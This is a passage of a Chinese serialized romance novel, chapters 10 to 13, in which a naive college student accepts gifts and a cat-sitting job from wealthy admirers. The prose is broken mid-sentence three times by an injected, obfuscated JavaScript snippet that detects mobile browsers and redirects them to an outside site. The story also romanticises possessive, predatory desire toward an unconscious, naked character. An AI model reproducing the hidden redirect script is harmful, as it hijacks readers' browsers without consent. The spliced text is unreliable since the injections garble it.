陈悯之接过来一瞧,黑色绒布上套着一只银色的手表,外观华贵,表盘设计繁复精致,外圈还是镶钻的,陈悯之虽然不认识上面的牌子,但觉得这表一看就很高端,肯定价值不菲。 陆承轩眼神期待地问:“喜欢吗?” 陈悯之却把表放回盒子里,推还给他:“这表很贵吧?我不能收。” 陆承轩看着那块价值三百万的限定款宝珀手表,面不改色地说:“不贵,这是大牌仿款,我在步行街三百块买的。” 陈悯之露出惊讶的神情:“现在的山寨版都做得这么好了?看着值上万块呢。” 陆承轩微笑着说:“是呢哥哥,还是防水的,哥哥洗澡都不用摘。“ 陈悯之十分欣慰:“这样看来,我国的制造业真是大有前途。” 陆承轩:“我给哥哥戴上试试。” 黑色的真皮表带环绕上少年的手腕,华贵的银色表盘落在正中,将那只手衬托得白皙漂亮,还多了几分平日不见的贵气。 “很适合哥哥呢。”陆承轩轻声道。 哥哥的手腕又细又白,如果把上面圈着的表带换成银色的链子的话,一定也会很漂亮。 不过用链子的话,里面一定要垫一层细腻柔软的绒布,不然会把哥哥的手腕磨伤的,陆承轩想。 陈悯之高中戴的手表都是最基础的款式,还是第一次戴这么漂亮的表,觉得陆承轩眼光确实不错,很开心地说:“谢谢你承轩,我很喜欢。” 陆承轩脸上浮现出一个真切的笑容:“哥哥喜欢就好。” 他拉着陈悯之的手,指尖从少年手腕处的细腻皮肤上抚过,低声道:“虽然不贵,但这是我对哥哥的心意,我希望无论什么时候,哥哥都把它带在身边。” 陈悯之拍拍胸脯保证:“你放心吧,我一定每天都戴着。” 在透过大厅玻璃的暖色调阳光中,陆承轩冲他露出一个温柔的笑:“哥哥,我会再来找你的。” * 陈悯之发现自己内裤找不着了。 他站在衣柜前思索了一会儿,好像是上次在酒店,秦陌给他换完衣服后就没见过那条内裤了。 于是他给秦陌发了条消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867711|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :【在吗?问你个事儿】 秦陌不在寝室,不知道在外面忙什么,但消息却回复得很快:【说。】 陈悯之:【你看见我内裤了吗?】 这次那边隔了一分钟才回复:【什么内裤?】 陈悯之:【就是上次你把我带去酒店,给我换衣服的时候我穿的那条】 秦陌:【没有。】 陈悯之:【那你是在酒店给我换的衣服,还是在你家给我换的衣服?】 秦陌:【酒店。】 陈悯之:【好吧,我还说要是落在你家我去找找呢,落在酒店就算了,应该已经被清洁阿姨扔了】 秦陌没回复。 陈悯之:【有点可惜,那条内裤是我刚买的,才穿了一次,还很新呢】 那头又安静了快两分钟。 陈悯之后知后觉自己好像有点过分了,秦陌本来就有洁癖,肯在那种情况下帮他已经很仗义了,他总不能还要求别人帮自己把换下来的内裤也收捡好。 这么想着,陈悯之又打字过去:【那个,我没有怪你的意思,就是随口问问,找不到就算了】 秦陌:【我记得我上次买了一条新的给你,不合身?】 陈悯之:【没有没有,挺合身的,谢谢】 打完这行字,输入框上面自动跳出一排表示感谢的表情包,陈悯之顺手点了个猫猫头过去。 没收到回应。 陈悯之:【对了,上次那家俱乐部还开着吗?】 秦陌那头顿了十几秒:【你还想去那里继续打工?】 陈悯之:【怎么可能!你把我想成什么人了,我是想去报警,举报他们涉.黄!】 秦陌:【不用。那家店被查封了。】 陈悯之:【?】 陈悯之:【难道已经有人在我之前把它举报了?!】 那头隔了一会儿才回复:【嗯。】 秦陌没告诉陈悯之,这种处在灰色地带的场所,在上面多少都有点人脉,普通的举报是没有用的,只要不出什么大事,买卖双方一个愿打一个愿挨,上面基本都是睁一只眼闭一只眼。 他原本打算动用家里的势力处理这件事,却没想到顾家比他先出手了,直接把涉事人员都送了进去。 而当时给陈悯之灌酒的那个人,断了一根手指头。 具体是怎么断的,秦陌没有查到,只知道那人正在顾氏的私家医院接受治疗,医疗费用全由顾家承担。 秦陌:【离顾明珏远一点,他不是好人。】 与此同时,陈悯之给他发来消息:【世上还是好人多啊!这种非法组织就该早点被取缔!】 秦陌:【......】 陈悯之:【?】 陈悯之一头雾水:【顾明珏怎么了?】 秦陌:【他不适合跟你做朋友。】 陈悯之:【我觉得他人挺好的,你都没跟他接触过,不要对他有偏见】 秦陌:【......】 秦陌:【没你事儿了,玩儿去吧。】 陈悯之:【玩儿什么?】 秦陌却不回复他了。 陈悯之摇摇头,觉得比起顾明珏,明明是和秦陌做朋友更难一些。 于是他转头给顾明珏发了消息:【出来玩儿吗?】 11. 第 11 章 11 地点约在了学校的羽毛球场馆。 少年一身纯白色卫衣,黑色长裤,跳起来接球时,宽松的衣服下摆随着动作扬起,露出劲瘦白皙的一截腰。 没有腹肌,但看上去平坦紧实,覆着薄薄的一层肌肉,腰部两侧向内凹陷出漂亮的弧度,一丝赘肉都没有。 接球的动作也丝滑漂亮,并不完全使用蛮力,而是更多借用巧劲儿,身体轻灵得像一只在空中横飞纵跃的燕子。 顾明珏看得微微失神,漏掉了飞到跟前的一个球。 陈悯之从球场对面朝这边走了两步,站在中间的羽毛球网后面,他弯腰扶着膝盖,微微喘着气问:“你是在放水吗?” 羽毛球算是陈悯之唯一擅长的球类运动,像初高中男生喜欢的足球篮球一类,他统统不会,也不喜欢,原因是小时候在操场上被从天而降的篮球砸过脑袋,觉得这两种球类运动都比较危险。 本来脑子就不是很聪明了,可不能再被砸傻了。 但即使在他最擅长的运动面前,顾明珏的水平也要胜他一筹,陈悯之对此倒是没什么羡慕的,毕竟豪门世家里的孩子,都是从小德智体美全面发展,跟他们普通人不能比。 顾明珏弯腰拾起球:“抱歉,我走神了。” 陈悯之用肯定的语气道:“你就是在放水。” 他能看出来顾明珏的球技比他好,许多时候是在给他喂球,但即使喂也喂得很有技术,每个球都精准地落在他需要费一点儿力气去接,又不至于太难接的地方。 再加上顾明珏时不时的走神,几十个回合下来,倒是他杀了顾明珏好几个球。 陈悯之知道自己不算太聪明,可他也不是傻子,连对方故意放水都看不出来。 见他这么说,顾明珏也不否认,对他露出一个带着歉意的笑容:“悯之,我只是想好好和你打,并不想要和你争输赢。” 陈悯之严肃道:“但在球场上使出全力,是对对手的尊重。” 顾明珏像是没想到他会这么说,神色微怔,旋即眉眼如画般舒展开:“抱歉,是我考虑不周了。” 陈悯之浑不在意地摆摆手:“小事小事,你接下来认真打就行了。” 于是接下来的二十分钟里,陈悯之从一开始的偶尔能杀顾明珏几个球,变成了偶尔能接顾明珏几个球,大多数时候都在弯腰捡球,像一个没有感情的捡球机。 但陈悯之打得很爽,有一种和强者过招时酣畅淋漓的爽感。 他用毛巾擦了擦额上的汗水,对顾明珏露出一个明朗的笑容:“你打得真好,下次还一起约球。” “可以,我随时有空。”顾明珏拧开一瓶矿泉水递给他。 “谢谢。”陈悯之是真渴了,接过来就咕噜噜往喉咙里灌。 他生得白,此刻脖颈上又沾着晶莹的汗珠,在阳光下肌肤白得近乎透明,能清晰地看到喉结顺着吞咽的动作上下滚动。 顾明珏的视线随之移动,明明喝了水,他却仿佛感觉喉咙深处干得厉害。 鬼使神差地,他抬手去触碰少年修长漂亮的脖颈,指尖只是轻轻在那白皙的皮肤上碰了一下,却如同被火烧了一般,连着心尖都在发烫。 比平时的体温更高,温热柔软,还带着一点湿,像刚从水里捞出来的,细腻的羊脂玉。 陈悯之被摸了两秒后才转头问:“你做什么?” 顾明珏:“你后面有汗没擦到,我帮你吧。” “哦哦,那谢谢了。”陈悯之很配合地转过身,方便顾明珏握着毛巾给他擦汗。 男人的眼眸却漫上一抹暗色。 太漂亮了。 少年背对着他,低着头,对他毫不设防地暴露出白嫩秀美的后颈,十足温顺的模样,仿佛一只对猎食者低下头颅的羔羊。 他最勾人的地方就在于他勾人而不自知。 运动过后的体温比寻常更高,近距离下,顾明珏几乎能闻到从少年皮肤之下蒸腾起来的香气,独属于少年人的干净清爽,带着出汗后微微的热意和极淡的甜,绵绵密密地飘进他的鼻间。 顾明珏几乎用尽了全身的力气,才克制住自己没有在那漂亮的后颈上咬上一口。 他动作缓慢地替陈悯之擦去汗水,随口道:“对了悯之,我听王鸿洲说,你最近在找兼职?” 陈悯之:“嗯,还没找到呢。” 顾明珏思索道:“我这里倒是有一个工作,只有交给你我才放心。” 陈悯之来了兴趣:“什么工作?” 这个世界上竟然还有只有他能做,别人做不了的工作? 顾明珏:“我最近在学校里捡了一只流浪猫,还很小,医生说不超过两个月大,我暂时把它养在校外的公寓里,但平时太忙,没时间照顾它。” “我想让你帮忙照看它,可以吗?”顾明珏道,“毕竟是在我家里,我不太放心让陌生人进去。” 陈悯之:“就这么简单?” 他小声道:“我能问问薪水吗?” 顾明珏笑了笑:“你如果答应,我会让公司的人事部为你办理入职,签订劳动合同,职位名义上是我的生活助理,薪资每个月由财务部统一发放,不会低于一万。养猫过程中的花费,也全部由公司报销。” 刚刚被黑心鸭店坑过的陈悯之一听,觉得这一套流程十分正规且靠谱,遂一口答应:“行,你放心吧,我最会照顾猫了,我家里以前就养猫呢。” 顾明珏:“好,那就这么说定了,你什么时候有空?我带你过去看看猫。” 陈悯之:“等今晚上完课吧。” “嗯,到时候我来接你。” * 晚课后,陈悯之坐上顾明珏的车,去了他在学校附近的公寓。 和秦陌家冷灰色调的装修风格不同,顾明珏的公寓整体都偏暖色调,玄关处微黄的灯光,客厅里的米色地毯,以及全屋木地板的铺设,都给人一种舒适放松的感觉。 “想喝点什么?”顾明珏打开冰箱问,“有汽水和果汁,想喝咖啡的话也可以现做。” 陈悯之:“可乐就行。” “好,吃的呢?”顾明珏道,“你刚下晚课饿了吧,要来点夜宵吗?” 陈悯之:“不用不用,我不饿,别弄那些了,你家猫呢?” 陈悯之觉得奇怪,顾明珏怎么一进门对他投喂这个投喂那个,他们是来喂猫的又不是来喂他的。 “那里。”顾明珏指了指茶几后面。 陈悯之顺着他指的方向走过去,在宠物保温箱里面发现了一只巴掌大的小猫。 小猫浑身雪白,眼睛是漂亮的海蓝色,正蜷缩在保温箱的最里边儿,一双眼睛害怕又好奇地打量着他们。 顾明珏:“疫苗和驱虫都已经打过了,医生说没什么病,就是营养不良。” 陈悯之看着小猫并不蓬松的毛发点了点头:“幸好你把它救回来了,白猫在猫咪里社会地位很低,容易被其他猫咪欺负,何况它还这么小,在外面肯定活不下来。” 顾明珏笑着看他:“悯之懂的很多呢。” “还好,对于养猫的人来说这都是常识。”陈悯之不在意地说,“我能抱抱它吗?” “当然可以。” 顾明珏打开保温箱,伸手把小猫抱出来,放到陈悯之怀里。 说来奇怪,原本在顾明珏手中拼命挣扎的小猫,被陈悯之放在腿上摸了几下后,竟然奇异地乖巧下来。 陈悯之一只手轻轻覆住小猫的背,另一只手则同时抚摸着小猫的脑袋和下巴,嘴里念叨着:“咪咪不怕不怕哦,以后我们就是一家人啦。” 少年埋头专注地哄着猫,没有注意到当他说出这句话后,男人微微一动的眸光。 顾明珏看着他怀里乖得不行,甚至已经舒服得开始打呼的小猫,思索道:“它好像很喜欢你呢。” 陈悯之:“嘿嘿,告诉你个小秘密。” 顾明珏:“嗯?” 陈 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给小猫喂完羊奶粉,又把它给哄睡着放进保温箱后,陈悯之站起身:“那我就先回去了。” 顾明珏:“今天太晚了,要不就在这儿住一晚吧,正好明天是周末。” 陈悯之:“可这样会不会太打扰你了?” 顾明珏一笑:“怎么会呢,大家都是朋友,不是吗?” 陈悯之:“你说得对,那我今晚就住这儿吧。” 顾明珏:“嗯,客房已经收拾出来了,你看看喜不喜欢,要是喜欢,以后周末可以就住这边,免得你又从学校跑一趟过来。” 陈悯之想了想,按照顾明珏今天和他说的工作时间,其实周一到周五他能够来照顾猫的时间并不多,毕竟他也要上课,不能影响学业,那就只能周末多工作一会儿了。 要不然这每个月一万五的工资,他拿着都心虚。 于是陈悯之爽快答应道:“行,那以后周末我就住这边儿照顾猫。” 顿了顿,补充:“我可以把作业带过来写吧?” 顾明珏:“当然可以,里面还有电影室和游戏室,你空的时候也可以随意玩儿。” “谢谢。”陈悯之诚恳道,“你真是个善解人意的老板。” 陈悯之越来越觉得自己遇上顾明珏这个朋友真是撞大运了。 就是洗澡的时候,陈悯之看着顾明珏拿来的刚好是他尺码的全新换洗衣物,觉得有点奇怪:“你什么时候准备的这些?” 顾明珏轻咳一声:“今天去接你之前买的,想着你过来得晚,可能会在这边住。” “哦哦。”陈悯之觉得顾明珏真是个贴心的朋友,一点儿也不像秦陌说的那样不是好人。 他道:“没事,以后你不用买了,我带几件衣服过来放这边儿。” “好。” 顾明珏家浴室里放的并不是浴缸,而是一个大浴池,光是池子就比三个陈悯之家里的厕所还大,简直算得上是一个小型温泉池了。 陈悯之泡在一整池热腾腾的水里,感觉筋骨都舒展了,舒服得整个人都快要化开。 他长这么大还从来没泡过温泉呢,果然比泡浴缸舒服太多了,池底甚至还有喷出来的气流,可以让他很轻松地半浮在水面上,不容易沉底。 不会游泳的陈悯之很快找到了乐趣,他借着气流的浮力,像鱼儿一样划着手臂在水里游来游去。 真好,这辈子也算是体验过一把有钱人的生活了!陈悯之感叹。 就是洗一次澡就放这么大池子水有点浪费,早知道把顾明珏叫进来一起洗了,反正大家都是男的,节约用水。 秉持着不浪费水的美德,陈悯之决定能泡多久就泡多久,尽可能把这一池子水的利用效率最大化。 于是在半小时后,他毫不意外地因为缺氧把自己给泡晕了过去。 12. 第 12 章 12 顾明珏处理完手头的工作,从书房走出来,见浴室里的灯光还亮着。 他看了眼时间,已经过去了半小时。 顾明珏走到浴室前,却没有听到应该有的水声,里面安静得有些异常了。 他抬手轻轻叩了叩门:“悯之?” 没有人回应。 顾明珏的眉头皱起来。 他再次敲响浴室门,这次声音大了些:“悯之,你还好吗?” 回答他的依旧是一片安静,连轻微晃荡的水声都没有。 顾明珏脸色一沉,打开了浴室门。 家里所有的门锁都是智能的,录入了主人的指纹和人脸信息,虽然可以从里面锁上,但只要顾明珏想,他可以打开任何一扇门。 推门而入后,扑面而来的是缭绕的纯白色水汽,像一场大雾,浓稠得几乎将整个浴室遮盖。 顾明珏在看到这雾气的一刻,脸色就已经沉到了冰点。 只有在把水温调得过高,并且洗澡的人还不开窗的情况下,才会出现这样浓重的雾气,而在这种情况下待久了,浴室里的人很容易缺氧晕倒甚至休克。 他朝前走了几步,果然在浴池旁发现了已经失去意识的人。 有一瞬间,顾明珏感到他的心脏停止了跳动,浑身血液顷刻间冻结成冰。 他以最快的速度把陈悯之从水里捞了出来,连找浴巾裹上怀中人赤.裸的身体都顾不上,直接把湿淋淋的人放到了自己床上。 顾明珏让陈悯之的身体保持平躺,又用两个枕头把他的小腿垫高,尽可能地恢复正常的脑部供血,紧接着,他没有犹豫的俯身下去,一边进行胸外按压,一边捏住陈悯之的鼻子,用嘴唇强行将氧气渡入他的口中。 他像一个不知疲倦的机器,一次次地重复着急救动作,没有半秒钟的停歇,终于,在他最后一丝理智濒临崩溃之前,床上的人缓慢睁开了眼睛。 那双大而圆润的眼睛,含着湿漉漉的水汽,迷茫又疑惑地望向他:“你亲我做什么?” 顾明珏没有回答,他英俊的面容上一片惨白,漆黑眼珠一动不动地盯着陈悯之,胸口还在急剧起伏,那模样竟显得有些可怖。 陈悯之被他这幅完全陌生的模样吓到了,连混沌的神志都清楚了许多,他撑着身体坐起来,小声问:“你怎么了?我看你脸色好像不太好...” 岂止是不太好,简直白得跟刚出土的僵尸一样,一点儿活人的血色都没有。 是他做错什么了吗?顾明珏这个样子应该是在生气吧?可就算是生气,为什么要亲他啊...好奇怪... 算了算了,顾明珏都生气了,还是哄哄他吧。 “对不...”就在陈悯之开口打算道歉的时候,男人却忽然抱住了他,力道大得让他骨头都被勒得有些疼。 “对不起,对不起悯之。” 顾明珏的声音很好听,平日里说话时,声线总是温润如珠玉,现在却带着令人陌生的嘶哑,好像一个刚从死线上活过来的人,“是我疏忽了。” 在看到仰躺在浴池边上无声无息的人时,顾明珏几乎对自己产生了刻骨的恨意,他既然知道陈悯之是个什么性格,就早该想到一切可能出现的隐患和应对措施。 只差一点,只差一点...顾明珏闭了闭眼。 他很清楚,他无法再一次承受这样的痛苦了。 感受着怀中人暖热的体温,顾明珏冻结的血液渐渐恢复流淌,他慢慢地放开陈悯之,声音沙哑道:“刚才我是在给你做人工呼吸,抱歉冒犯到了你。” 原来是这样啊,陈悯之有点可惜地想,可这还是他的初吻呢,他一个母胎solo,这么多年都没和谁亲过,一直想着要把初吻留给他以后的女朋友的,最好还是他以后的老婆。 但在当时他已经昏迷休克的情况下,顾明珏应该也没有别的办法,和命比起来,初吻也不算什么了。 而且他和顾明珏都是男人,大家都是兄弟,兄弟之间不小心亲了一下,也不能算真正意义上的初吻,最多只能算半个,他还剩下半个没用呢。 这么在心里对自己安慰一番后,陈悯之又想开了,很大度地摆摆手说:“没关系,大家都是兄弟,小事情。” 接着他慢半拍的意识到一件事。 ——他到现在都还是裸.着的,他的兄弟把他给看光了。 陈悯之尴尬得想变成蘑菇缩进地里去。 他觉得自己最近真的是有点倒霉,可能这就是能量守恒定律吧,上天给了他一进大学就交到两个好兄弟的好运气,代价就是不小心被两个好兄弟都看光了屁.股。 陈悯之把自己缩成一团,对顾明珏道:“你、你不要和别人说。” 顾明珏:“嗯?说什么?” 陈悯之咬着嘴唇,难以启齿地道:“说我跟你亲了,还被你看光了屁.股。” 顾明珏神色一顿,视线落在床上的少年身上。 他本就什么都没穿,又把两条光溜笔直的腿并起来,以两人所处的角度,这样的动作除了能有一点心理上的安全感,其余根本就遮掩不了什么,反而让他想要藏起来的地方暴露得更明显。 颜色浅淡,看上去很干净,像完全没使用过一样。 顾明珏眼底划过一丝暗色,用一种温柔到极致的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867713|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“没关系的,大家都是男人,不是吗?” 他柔声道:“你放心,我不会告诉别人。” 陈悯之煞有介事:“可我姥姥说了,男人要守好自己的屁.股,不能随便给别人看,男的也不行,不然以后会娶不到老婆。” 顾明珏脸上的笑容一僵:“你想娶老婆?” 陈悯之瞪大眼睛看他,像是很惊讶他会这么问:“当然,谁不想娶老婆?我打算现在就开始攒钱,这样毕业就能早点娶老婆。” 顾明珏想到什么,神色一凝:“你急着找工作赚钱,就是为了这个?” 陈悯之想说其实也不全是,我还打算给你买个礼物呢,但又觉得送礼物这种惊喜还是留着的好,就没说出来,含糊道:“嗯。” 空气安静了几秒。 顾明珏:“... ...” 转瞬,他脸上又覆盖上温和的笑意:“那悯之喜欢什么样的女孩子呢?” 陈悯之想了一下:“嗯...温柔一点的,最好是长头发,纯黑色的那种,直发就更好了,唔...要是可爱一点也行,就算脾气娇惯些,只要撒撒娇我就会让着她,反正我要是有女朋友,肯定不会和她吵架的。” 他又有点不好意思似的补充道:“当然,要是漂亮一点就最好了。” “这样啊。”顾明珏的声音里没什么情绪。 陈悯之沉浸在对自己未来女朋友的美好幻想中,毫无所觉地问:“怎么突然问我这个,你要给我介绍女朋友吗?” 说罢,顾明珏还没回答,他那张白净脸上就浮现出一点腼腆:“现在会不会太早了?我还没赚到钱呢。” 他听说老婆都是要富养的,不然容易在半路跟别人跑了。 顾明珏脸上的笑容有点挂不住了。 他发现陈悯之总是能在一些出其不意地地方气到他,比如这人光着身子在他床上坐了大半天都没觉得害羞,谈到连个影都还没有的女朋友却害羞起来,雪白清秀的脸颊上泛着浅粉,嘴唇红润晶亮,唇珠似勾着人亲吻一般地向上翘着,一副少男怀春的样子。 偏偏他自己还对此毫无所觉。 让人现在就想把他摁在床上糙了,叫他知道他这辈子都不可能再找女人。 但顾明珏没有这么做,还太早了,他想。 他努力维持着脸上的假笑,柔声道:“嗯,是有点早了。” 陈悯之:“嗯嗯,我也觉得。” 两秒后,陈悯之眼睛亮亮地问:“对了,我每个月的工资什么时候发?” 顾明珏:“... ...” 他开始后悔给陈悯之开那么高的工资了。 13.第 13 章 13 陈悯之一回到寝室就感觉到了周遭的低气压。 倒不是他自身反应有多敏锐,而是秦陌那张俊脸实在太黑,想不注意到都难。 对于朋友,陈悯之一向是很关心的:“你怎么了?身体不舒服吗?” 秦陌从电脑前转过身,漆黑眼瞳盯着他:“周末两天你都没回寝室,你去哪里了?” 陈悯之:“哦,我去朋友家了。” 秦陌眉头微蹙:“陆承轩?他不是走了吗?” 陈悯之:“不是,我去顾明珏家帮他照顾猫。” “猫?”秦陌眉心蹙得更深,“他哪儿来的猫?” “他最近在学校捡的,是只小白猫,老可爱了,我拍了照片,你要看看吗?”陈悯之说着就把手机里的照片翻出来给秦陌看。 面对那几十张吸引人的猫咪萌照,秦陌却连瞥都没瞥一眼,吐出来的字能冻死人:“不是让你少和他接触吗?” 陈悯之不解地问:“他是什么地方惹到你了吗?你怎么总是对他有偏见。” “而且和谁交朋友是我自己的事啊,你为什么要来管。” 秦陌牙都快咬碎了。 他一时间竟分不清陈悯之到底是真傻还是假傻,该聪明的地方不聪明,不该聪明的地方逻辑倒是理得很顺。 陈悯之觉得自己的语气并不是多重,但看秦陌不太好看的脸色,觉得秦陌好歹也是他的朋友,这话可能有点伤朋友的心了,于是放软了声音说:“我知道你是为我好,但你真的不用担心,顾明珏他对我很好的,还给我提供了很靠谱的工作。” “他给你提供了工作?”秦陌脸色微微一变,“什么工作?” “就是每个周末去他家帮他照顾猫,平时的话抽空去一下就行。” 陈悯之对这个工作十分满意,既能挣钱,又不影响他平时的学业,顺便周末还能跟朋友一起玩。 谁知这话一出,秦陌那张英俊脸庞变得更阴沉了,黑漆漆的眸子锁在他身上,恍惚让陈悯之想起来上次在会所里,秦陌看见他被人灌酒时的脸色。 阴森得像是在古井里腌了十年爬出来的长头发男鬼。 他下意识后退一步,怯怯地问:“你、你怎么了?” 秦陌吐字缓慢地道:“意思是,以后的每个周末,你都要去顾明珏家住?” 陈悯之点点头,想了想,又小声补充:“平时空了也会去,猫咪还太小了,离不得人。” 秦陌简直快要气笑了。 据他所知,顾明珏对这种毛绒绒的小动物根本不感兴趣,他从小到大唯一养过的宠物,是八岁那年养的一条蛇,后来那条蛇被人发现突然出现在他父亲的床底,最后被剁成了八段扔了出去。 秦陌对此事记得尤其清楚,是因为当时他们这群富二代圈子里的小孩,在此事过后,都被告诫不要和顾明珏玩儿。 上门养猫这么明显的圈套,也只有陈悯之这个傻子才会兴高采烈地一头扎进去。 被卖了还帮人数钱。 秦陌咬牙切齿:“你怎么不平时也住他家里,这四年都不用回来了。” 陈悯之思考了一会儿,小声说:“这样不太好吧,虽说他家里确实挺宽敞,住着也很舒服,但就算是好朋友也没有一直打扰人的。” 秦陌的脸上在听到他前几句话时越来越阴沉,在听到最后一句的时又勉强阴转多云。 男人语气依旧不善,但好歹没那么冷了:“你最好是只把他当朋友。” 陈悯之有点没懂他这句话:“当然是当朋友啊,不然还能当什么。” 秦陌却不说话了,转过身背对他,继续在电脑上敲敲打打。 陈悯之也不生气,他已经习惯了秦陌阴晴不定的性格,反正他知道秦陌只是表面脾气不太好,实际上是个很仗义的好人。 没一会儿,王鸿洲叮铃哐当地回来了,边走边嚎叫:“真是累死我了。” 陈悯之瞅着他大包小包提着的东西,问:“你去做什么了,怎么提了这么多东西回来?” 王鸿洲:“你们不知道吗?今天百团大战啊,每个社团都给新社员准备了礼品,我女朋友非得拉着我把礼品全部领一遍。” 百团大战,指的是大学里一年一度的社团招新,在这一天,所有社团都会聚集在一起,面向全校招收新成员。 陈悯之:“什么时候开始的?我怎么不知道。” 王鸿洲:“你成天都泡在图书馆,能知道才有鬼了。社团招新在喷泉广场,到明天晚上才结束,不过你要是想领礼品的话得早点去,都是限量的。” * 喷泉广场是A大最大的一个广场,呈环形,中间立着一个喷泉池,此刻,广场最外圈立着一顶顶蓝色的帐篷,每个帐篷前都挤满了人。 陈悯之像个刚进大观园的刘姥姥,看得眼花缭乱,哪里都想去瞅一眼。 他打算把自己这最美好的四年过得丰富多彩一点,但考虑到时间精力有限,要以学业为重的问题,他最终只选择了两个社团加入,一个是电竞社,一个是羽毛球社。 走完入社流程,加入社团Q群后,陈悯之就打算打道回府了。 但半路有人拦住了他,准确来说,是用力攥住了他的手腕。 陈悯之愣了一下抬头,先是看到了一堵坚实的胸肌,再往上看,才看清了来人。 跟前的男生身材异乎寻常地高大,少说有一米九以上,肩背也比常人更宽阔,杵在跟前就像一度人墙。 已经是初秋的天气,他却只穿着一件黑色的工字背心,黑色的阔版工装长裤,上半身饱满虬结的小麦色肌肉都暴露在外,与被皮带收束的腰部形成一个完美的倒三角。 陈悯之下意识想往后缩。 无他,实在是跟前的人压迫感太强,比他高了一个头不说,那张脸看上去也凶凶的。 男人五官浓烈深刻,轮廓线条刚硬,眉骨仿佛一把横放的刀,深褐色的眼珠盯过来时,更是给人一种摄人之感,导致大部分人看到他的第一眼,注意力都放在了此人的凶戾上,而忽略了他五官的英俊。 再加上攥着自己的那只手力气实在太大,捏得他骨头都有点发疼,陈悯之就更害怕了。 他试探着小声问:“同学,你有什么事吗?” 对方却没有回答他,只是用一双褐色的眼睛紧紧盯着他,好像怕一松手他就会跑掉一样。 很奇怪地,这双眼睛让陈悯之想起他看过的动物世界里,盯上猎物的狮子,但又似乎不全是这样,那眼里有一种很奇怪、很复杂的情绪,陈悯之看不懂。 陈悯之试着挣了挣自己的手,也没有挣动,他瞅了眼男人凶悍的眉眼,再次更小声地开口:“那个...你能稍微松开一点吗,你捏得我有一点痛。” 出乎意料地,当他说完这句话后,对方立刻松开了他的手腕,结结巴巴地开口了:“对、对不起。” 陈悯之捏了捏酸痛的手腕,摇摇头:“没关系,你找我有什么事吗?” 男人喉结滚动了一下:“卫殊。” 与凶悍强硬的外表不同,男人有着很好听的声线,低沉浑厚,既不冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868984|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不显得沙哑,他重复道:“我叫卫殊,守卫的卫,殊荣的殊。” “哦哦,你好你好。” 陈悯之等待着对方的下文,可他等了将近半分钟,对方还是没说自己有什么事,只用那双令人难以忽视的兽眸,很用力地,一动不动地看着他。 最终,还是陈悯之先开口:“那个...卫殊同学,你还是没说你有什么事。” “你的名字。”卫殊看着他说,“你还没说,你的名字叫什么。” 陈悯之神色微怔,刚才这人看他的眼神,让他觉得对方似乎认识自己一样,可对方却连他的名字都不知道。 他道:“我叫陈悯之。” “陈悯之。”卫殊一字一句地重复,“是哪几个字?” “耳东陈,悲天悯人的悯,之乎者也的之。” 卫殊如同带有重量的视线落在他身上,缓慢而郑重地道:“陈、悯、之,我记住了。” 陈悯之心口一抽,他最近没欠谁的债吧?最多也就欠了他朋友的几个人情债,但也跟眼前这人没关系啊。 诶不对,这张脸怎么越看越有点熟悉呢... 陈悯之皱眉思索:“我是不是在哪里见过你?” 闻言,男人眸子微微动了一下。 没一会儿,陈悯之一拍脑袋:“啊,我想起来了!你就是那个校园论坛上排名第二的校草!” 卫殊脸上浮现出疑惑,像是没听懂他在说什么:“什么论坛?” 男人本就长得凶,眉毛一蹙就显得更凶了,陈悯之看着这张像是随时都能一拳把他打飞的脸,后知后觉反应过来,无论什么时候,都没有男人愿意当老二。 于是他把脑袋像拨浪鼓一般使劲儿摇:“没什么。” 幸好对方也没在意,又盯着他看了快半分钟,喉结上下滑了好几次,才吐出一句话:“我是篮球社的社长,你要不要加入我们?” 陈悯之提到胸口的气到此刻才松下来。 原来是邀请他加社团啊,吓死他了,他还以为自己是惹上黑.she.会了呢。 陈悯之瞅着男人那张看上去很凶的脸,小心翼翼问:“我有选择不加入的权利吗?” 卫殊点点头:“有。” 陈悯之松了口气,看来这人并不像看上去那么不好讲道理,他很少拒绝人,但打篮球他是真没有兴趣:“不好意思啊,我不会打篮球。” 卫殊紧跟着他的话道:“我可以教你,只要你想学。” 陈悯之:“。” 不是说好他有不加入的权利的吗? 陈悯之:“我可以不想学吗?” 卫殊点点头:“可以。” 陈悯之感到迷惑,他有点摸不清这人的态度了,好像很强硬,但又没那么强硬。 他小声问:“那我现在可以走了吗?” 卫殊:“不可以。” “... ...” 陈悯之:“好吧。” 正当他以为今天这个篮球社是非加不可的时候,却听卫殊道:“你还没给我你的微信,给完你就可以走了。” 虽然陈悯之不明白,自己明明不加入篮球社,为什么对方还一定要加自己的微信,但还是很配合地打开了自己微信二维码。 